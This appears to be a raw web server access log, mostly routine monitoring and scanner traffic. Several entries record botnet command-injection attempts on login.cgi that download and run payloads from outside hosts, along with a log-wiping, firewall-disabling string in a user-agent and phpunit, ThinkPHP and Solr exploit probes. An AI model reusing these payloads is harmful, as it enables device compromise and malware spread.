121.178.8.198 - - [21/Feb/2020:09:50:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [21/Feb/2020:09:50:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [21/Feb/2020:09:50:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:09:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [21/Feb/2020:09:50:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.215.54.182 - - [21/Feb/2020:09:50:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:09:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.15.87.126 - - [21/Feb/2020:09:57:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:09:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:09:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.141.136.41 - - [21/Feb/2020:10:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.234.219.98 - - [21/Feb/2020:10:01:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:10:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.12.96.242 - - [21/Feb/2020:10:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:10:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [21/Feb/2020:10:05:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [21/Feb/2020:10:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.233.123.217 - - [21/Feb/2020:10:11:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:10:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.184.149 - - [21/Feb/2020:10:20:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:10:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [21/Feb/2020:10:24:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:10:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.209.224.180 - - [21/Feb/2020:10:26:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:10:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:10:27:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:27:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:10:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.121.211.34 - - [21/Feb/2020:10:30:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:10:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.96.215.8 - - [21/Feb/2020:10:31:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:10:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.22.112.62 - - [21/Feb/2020:10:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
134.35.188.140 - - [21/Feb/2020:10:34:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
89.178.245.186 - - [21/Feb/2020:10:34:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [21/Feb/2020:10:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.191.81 - - [21/Feb/2020:10:36:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [21/Feb/2020:10:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.16.14.119 - - [21/Feb/2020:10:39:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:10:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:10:41:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:19 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:10:42:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:10:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.209.110.100 - - [21/Feb/2020:10:47:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.183.122.120 - - [21/Feb/2020:10:47:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.209.110.100 - - [21/Feb/2020:10:47:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:10:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:10:54:38 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:10:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:10:55:40 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:10:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:10:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:01:32 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:02:28 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:02:37 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:03:00 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:03:35 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:03:57 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:05:53 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [21/Feb/2020:11:06:42 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
193.57.40.38 - - [21/Feb/2020:11:06:58 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:08:00 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
150.136.190.13 - - [21/Feb/2020:11:08:06 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:06 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:06 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:06 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:06 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:07 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:07 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:07 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
150.136.190.13 - - [21/Feb/2020:11:08:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [21/Feb/2020:11:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:11:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:09:36 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:10:05 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [21/Feb/2020:11:10:47 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [21/Feb/2020:11:11:10 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:11:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
